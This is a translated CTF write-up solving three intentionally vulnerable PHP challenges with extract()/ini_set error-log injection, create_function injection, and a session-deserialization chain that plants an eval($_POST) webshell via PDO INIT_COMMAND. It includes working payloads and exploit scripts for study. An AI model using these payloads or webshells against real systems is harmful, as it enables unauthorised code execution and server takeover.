[CTFshow Red Envelope Challenge] Question Record


Red Envelope Challenge 7

Test point: xdebug expansion

Source code

 <?php
highlight_file(__FILE__);
error_reporting(2);

extract($_GET);
ini_set($name,$value);

system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}

Analyze it
error_reporting(2);This sets the error reporting level to only display warnings, which may be to hide potential error messages so that users cannot see them; then there is variable coverage in the extract function; The ini_set function can modify the PHP extension; then the string splicing command is executed, but it only has the ls function; finally, blacklist filtering is given

We simply tested and found the location of the flag
Insert image description hereThen our question is how to read

Idea: Use extract function variable coverage and ini_set function to modify PHP configuration options, so that RCE can be implemented using extensions
Let’s take a look at what extensions are available, usually in < a i=2>, but the path of this question isRead it and find that there is an xdebug extension/usr/lib/php/extensions/usr/local/lib/php/extensions
Insert image description here

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

Insert image description hereCombined with the special issue of this questionerror_reporting(2), I looked through the information and found that the xdebug extension will echo the abnormal payload when handling the truncation problem. And system can just use 0 bytes to truncate to trigger an exception, which is %00 truncation. We know that the PHP configuration options are controllable. Since the error will not be echoed if it is set to 2, we can use the error_log function to control the path of the error message echo
The payload is as follows< a i=3> (note the double quotes in the command, the single quotes are filtered)

?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>

Insert image description hereVisit/hack.php and then modify the command

Insert image description here

Red Envelope Challenge 8

Test point: create_function injection

Source code

 <?php
highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

There is variable coverage, and the second parameter of the create_function function cannot be injected
Since our first parameter name is also controllable, the payload is as follows

?name=){}system('tac /flag');//

Insert image description here

Red Envelope Challenge 9

Test point: session deserialization

The question is given in the attachment

Let’s look at common.php first

<?php

class user{
    public $id;
    public $username;
    private $password;

    public function __toString(){
        return $this->username;
    }


}

class cookie_helper{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
        $data = explode('|',$cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}


class mysql_helper{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct(){
        $this->init();
    }

    public function __wakeup(){
        $this->init();
    }


    private function init(){
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****',//敏感信息打码
            'password' => '****',//敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo(){
        try{
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        }catch(PDOException $e){
            die('数据库连接失败:' . $e->getMessage());
        }
    
        return $pdo;
    }

}

class application{
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug=false;

    public function __construct(){
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("log.txt");
    }

    public function register($username,$password){
        $this->loger->user_register($username,$password);
        $pdo = $this->mysql;
        $sql = "insert into user(username,password) values(?,?)";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        return $pdo->lastInsertId() > 0;
    }

    public function login($username,$password){
        $this->loger->user_login($username,$password);
        $sql = "select id,username,password from user where username = ? and password = ?";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        $ret = $stmt->fetch();
        return $ret['password']===$password;

    }
    public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

    public function logout(){
        $this->loger->user_logout();
        setCookie("user",NULL);
    }

    private function log_last_user(){
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
    }
    public function __destruct(){
       if($this->debug){
            $this->log_last_user();
       }
    }

}

class userLogger{

    public $username;
    private $password;
    private $filename;

    public function __construct(){
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename){
        $this->filename = $filename;
    }

    public function __wakeup(){
        $this->filename = "log.txt";
    }
    public function user_register($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_login($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_logout(){
        $data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function __destruct(){
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
        
    }
}
class dispatcher{

    public function sendMessage($msg){
        echo "<script>alert('$msg');window.history.back();</script>";
    }
    public function redirect($route){

        switch($route){
            case 'login':
                header("location:index.php?action=login");
                break;
            case 'register':
                header("location:index.php?action=register");
                break;
            default:
                header("location:index.php?action=main");
                break;
        }
    }
}

It is not difficult to find that there is a function to write files and consider deserialization, but no unserialize function was found, but we analyze the following code

public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

Statementsession_decode($_GET['token']);Store the object in the session
Statement$data = $_SESSION['user'];Get the object from the session, and the name is user object.

So when the session deserialization conditions are met, we can constructtoken=user| 恶意序列化字符串 to implement command execution
(Note: The format of the token is because of the session The storage format is键名 + 竖线 + 经过 serialize() 函数反序列处理的值)

We access main.php and find that there is a call to getLoginName()

<?php

$name =  $app->getLoginName('user');

if($name){
    echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
    include 'login.html';
}

If you want to access main.php and call this method, you must continue to see index.php.

<?php

error_reporting(0);
session_start();
require_once 'common.php';

$action = $_GET['action'];
$app = new application();

if(isset($action)){

    switch ($action) {
        case 'do_login':
            $ret = $app->login($_POST['username'],$_POST['password']);
            if($ret){
                $app->cookie->setcookie("user",$_POST['username']);
                $app->dispatcher->redirect('main');
            }else{
                echo "登录失败";
            }
            break;
        case 'logout':
            $app->logout();
            $app->dispatcher->redirect('main');
            break;    
        case 'do_register':
            $ret = $app->register($_POST['username'],$_POST['password']);
            if($ret){
                $app->dispatcher->sendMessage("注册成功,请登陆");
            }else{
                echo "注册失败";
            }
            break;
        default:
            include './templates/main.php';
            break;
    }
}else{
    $app->dispatcher->redirect('main');
}

can be found to be enabled session_start(); (the idea is correct), receive the action parameter for switch selection judgment, if not found, jump to main.php, so we only need to pass the action parameter Just those three values

After the idea is clear, we look at how to deserialize, provided thatif($data === NULL && isset($_GET['token']))
the value of data is obtained by getCookie(), let’s analyze the cookie_helper class

class cookie_helper{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
        $data = explode('|',$cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}

verify() first separates the cookie values ​​with | to determine whether the number is 2. If it is not 2, it returns null (the key point is here).
If null is returned, the data value is null, and we pass the parameter token at the same time, then session deserialization can be achieved

The way the cookie value is generated also tells us$data = $value."|".md5($this->secret.$value);. We can add one to the registered user name|, and then two will appear when splicing. |, that is, if the number is 3, null will be returned

Register username rev1ve|666, log in to get cookie
Insert image description hereThen we simply construct a string

<?php

class userLogger{
    public $username="<?php eval(\$_POST[1]);?>";
    private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

We can visit log.txt and take a look (bring the cookie) and find that it was written successfully
Insert image description here
Then the way we getshell is to write horse

The question should be about enabling the PDO extension (the mysql_helper class that appears in common.php) to connect to the database.
UtilizePDO::MYSQL_ATTR_INIT_COMMAND

The command (SQL statement) executed when connecting to the MySQL server. Will be automatically re-executed upon reconnection. Note that this constant can only be used in the driver_options array when constructing a new database handle.

Construct malicious commandsselect '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

We look at the mysql_helper class and execute the command as follows

public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);

Pushing forward, you can find that the mysql_helper class is called when the application class is instantiated
To connect to the database, you must execute the mysql_helper::get_pdo() method, and then application::log_last_user must be executed ()method

private function log_last_user(){
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
}

Look down and find that the value of debug is True.

public function __destruct(){
       if($this->debug){
            $this->log_last_user();
       }
}

exp is as follows

<?php
class mysql_helper{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';"
    );
}

class application{
    public $debug=true;
    public $mysql;
}

$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));

Catch an interface directly, modify the cookie to register for usrev1ve|666, add payload
Insert image description here
and then successfully access the flag
Insert image description here

Guess you like

Origin blog.csdn.net/m0_73512445/article/details/134879829